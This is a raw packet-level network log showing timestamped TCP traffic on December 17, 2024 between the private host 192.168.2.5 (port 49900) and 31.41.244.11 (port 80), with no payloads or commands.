Dec 17, 2024 08:03:41.909977913 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.910072088 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.910115957 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.910999060 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.911062002 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.911097050 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.911145926 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.912075996 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.912146091 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.912173033 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.912224054 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.913161993 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.913372040 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.913440943 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.914297104 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.914371967 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.914410114 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.915364981 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.915503025 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.915541887 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.915569067 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.916424990 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.916469097 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.916541100 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.917495966 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.917550087 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.917591095 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.918184042 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.918584108 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.918693066 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.918776035 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:41.919822931 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.919842005 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:41.919997931 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.055958033 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.056071043 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.056090117 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.056138992 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.056485891 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.056606054 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.056781054 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.057647943 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.057706118 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.057758093 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.057802916 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.058646917 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.058701992 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.058779955 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.058835030 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.059736967 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.059978008 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.061233997 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.061284065 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.061467886 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.061939955 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.062136889 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.062184095 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.062205076 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.062619925 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.062998056 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.063102007 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.063143015 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.064090014 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.064287901 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.064328909 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.065248966 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.065290928 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.065900087 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.065948009 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.066292048 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.066338062 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.066545963 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.066587925 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.067306995 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.067437887 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.067467928 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.067477942 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.068474054 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.068561077 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.069226980 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.069278002 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.069596052 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.069619894 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.069660902 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.070599079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.070647001 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.070718050 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.070796013 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.071677923 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.071762085 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.071810961 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.072768927 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.072870970 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.072917938 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.073839903 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.073959112 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.074002028 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.074915886 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.074994087 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.075043917 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.076004982 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.076083899 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.076123953 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.077066898 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.077186108 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.077227116 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.078147888 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.078315973 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.078358889 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.079248905 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.079356909 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.079385996 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.079404116 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.080317020 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.080423117 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.081307888 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.081388950 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.081506968 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.081512928 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.081893921 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.082458973 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.082503080 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.082547903 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.082601070 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.083559036 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.083589077 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.083647013 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.084638119 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.084755898 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.084785938 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.084799051 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.085711956 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.085829020 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.085846901 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.085892916 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.086793900 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.086915016 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.086946964 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.086956024 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.087892056 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.087939024 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.087994099 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.088478088 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.088962078 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.089021921 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.089087963 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.089143991 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.090053082 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.090115070 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.090153933 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.090262890 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.091275930 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.091342926 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.091614008 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.091679096 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.092247963 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.092365026 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.093214035 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.093321085 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.093378067 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.093421936 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.094409943 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.094585896 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.094593048 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.094630957 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.095484972 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.095602989 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.096575975 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.096635103 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.096656084 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.097696066 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.097733974 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.097765923 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.097795010 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.097839117 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.098795891 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.098918915 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.099222898 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.099814892 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.099926949 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.099940062 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.100081921 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.100899935 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.100992918 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.100999117 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.101043940 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.101946115 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.102037907 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.102089882 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.102138996 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.103044033 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.103106022 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.103147030 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.103259087 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.104137897 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.104202986 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.104208946 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.104270935 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.105365992 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.105479002 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.105526924 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.106304884 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.106354952 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.106508017 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.106781006 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.107403040 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.107446909 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.107460976 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.107543945 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.108589888 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.108638048 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.108643055 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.108736038 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.109591007 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.109643936 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.109731913 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.109878063 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.110657930 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.110781908 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.110827923 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.111742973 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.111787081 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.111917019 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.112010956 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.112742901 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.112930059 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.248018026 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.248096943 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.248121023 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.248390913 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.248534918 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.248630047 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.248676062 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.248692036 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.249664068 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.249721050 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.249805927 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.249845982 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.250619888 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.250694990 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.250736952 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.251733065 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.251785040 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.251821041 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.251900911 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.252805948 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.252856016 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.252890110 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.252928972 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.253895998 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.253945112 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.253998995 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.254038095 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.254986048 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.255033970 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.255089045 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.255249977 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.256052017 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.256095886 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.256136894 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.256172895 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.257128954 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.257204056 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.257246017 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.257285118 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.258243084 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.258294106 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.258368969 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.258498907 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.259342909 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.259388924 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.259455919 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.259510994 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.260385990 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.260445118 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.260492086 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.261468887 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.261533976 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.261611938 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.261818886 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.262557030 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.262615919 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.262635946 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.262684107 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.263638973 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.263705015 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.263722897 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.263766050 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.264714956 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.264774084 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.264816999 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.264861107 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.265790939 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.265858889 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.265903950 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.265944958 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.266911030 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.266977072 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.267019987 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.267062902 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.267940044 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.268009901 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.268050909 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.268239975 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.269051075 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.269169092 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.269233942 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.270308018 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.270384073 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.270410061 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.270458937 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.271209002 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.271270037 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.271321058 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.271359921 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.272289991 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.272355080 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.272389889 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.272514105 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.273377895 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.273443937 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.273479939 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.273524046 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.274442911 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.274504900 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.274545908 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.275602102 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.275626898 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.275669098 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.275707006 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.276647091 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.276726961 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.276789904 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.277719021 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.277806997 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.277857065 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.277976990 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.278769016 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:42.278825998 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:42.278985023 CET	80	49900	31.41.244.11	192.168.2.5
